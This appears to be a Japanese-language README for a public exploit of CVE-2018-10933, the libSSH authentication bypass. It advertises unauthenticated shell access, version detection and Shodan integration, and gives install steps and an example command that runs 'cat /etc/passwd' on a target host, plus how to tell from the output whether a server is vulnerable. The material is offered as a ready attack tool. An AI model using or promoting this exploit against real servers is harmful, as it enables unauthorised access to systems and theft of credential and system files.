blacknbunny/cve-2018-10933CVE-2018-10933 (LibSSH認証バイパス) のエクスプロイト。脆弱なSSHサーバーへの認証不要のシェルアクセスを可能にし、バージョン検出とShodan連携を備えています。
認証情報なしでシェルを起動します CVE-2018-10933を使用して
Exploit-DB : https://www.exploit-db.com/exploits/45638
libSSHによるCVE-2018-10933の詳細情報 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
libSSHによるバグ修正リリース : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
// If paramiko==2.0.8 doesn't works try : pip install paramiko==2.4.2
pip install -r requirements.txt
python libsshauthbypass.py --help
Example:
python libsshauthbypass.py --host 0.0.0.0 --port 22 --command "cat /etc/passwd" --logfile newlogfile.log
出力が0.7.5、0.6.*、またはそれ以下の場合、サーバーは脆弱です。
そうでない場合は、おそらくパッチが適用されているか、切り捨てられているか、libSSHを使用していません。
（22ポートがデフォルトです。他のポート（2222、3333、4444など）にもlibSSHが含まれている可能性があります）
